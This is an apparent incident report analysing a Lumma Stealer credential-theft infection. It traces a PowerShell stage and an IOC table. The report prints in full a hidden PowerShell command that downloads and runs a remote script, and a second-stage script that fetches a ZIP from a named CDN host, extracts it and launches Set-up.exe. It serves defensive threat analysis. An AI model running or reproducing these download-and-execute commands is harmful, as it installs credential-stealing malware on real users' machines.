Lumma Stealer Analysis Report

Incident Overview

This report covers a credential-stealing malware identified through CrowdStrike, named Lumma Stealer. The user downloaded a laced pdf file which leveraged PowerShell script to fetch a TXT file and then downloaded and executed a malicious ZIP file. Detailed analysis reveals the sequence of processes involved and the execution of suspicious commands. The following sections describe each stage of the attack and its associated indicators.

1. Detection Summary

Processes Involved:

- **explorer.exe**
- **powershell.exe**
- **Set-up.exe**
- **more.com**

2. Command Execution

The suspicious process powershell.exe was triggered with a hidden window and executed the following encoded command:

Powershell

```
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W Hidden -eC iex (iwr https://iilp.b-cdn.net/kolo26.txt -UseBasicParsing).Content
```

Analysis:

This command uses Invoke-Expression (iex) to run a PowerShell command directly from the output of Invoke-WebRequest (iwr). The PowerShell script fetches a TXT file from the URL:

https*:*//iilp*.*b-cdn*.*net/kolo26*.*txt

Retrieved Script Analysis (kolo26.txt):

The TXT file, upon analysis, contained the following script:

```
$webClient = New-Object System. Net. WebClient
$url1 = "https://261024vexea.b-cdn.net/lopi100.zip"
$zipPath1 = "$env:TEMP\pgl.zip"
$webClient. DownloadFile($url1, $zipPath1)
$extractPath1 = "$env:TEMP\file"
Expand-Archive -Path $zipPath1 -DestinationPath $extractPath1
Start-Process -FilePath $env:TEMP\file\Set-up.exe
```

Malicious ZIP File URL: https://261024vexea.b-cdn.net/lopi100.zip

- **Download Path**: $env:TEMP\pgl.zip
- **Extraction Path**: $env:TEMP\file
- **Execution Path**: $env:TEMP\file\Set-up.exe

This script downloads a ZIP file, extracts its contents, and launches the executable Set-up.exe, indicating a classic delivery method for malware to evade initial detection and execute the payload.

3. Execution and Behavior Analysis

The final payload, **Set-up.exe**, was executed after extraction. Further details from the **AnyRun sandbox environment** provide insights into the behavior of this executable and its role in the credential-stealing process.

4. Indicators of Compromise (IOCs)

Indicator Type	Indicator Value
PowerShell Command	C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -W Hidden -eC iex (iwr https://iilp.b-cdn.net/kolo26.txt -UseBasicParsing).Content
TXT File URL	https://iilp.b-cdn.net/kolo26.txt
ZIP File URL	https://261024vexea.b-cdn.net/lopi100.zip
File Path	C:\Windows\SysWOW64\more.com

Analysis Links:

- TXT File Analysis on AnyRun
- ZIP File Analysis on AnyRun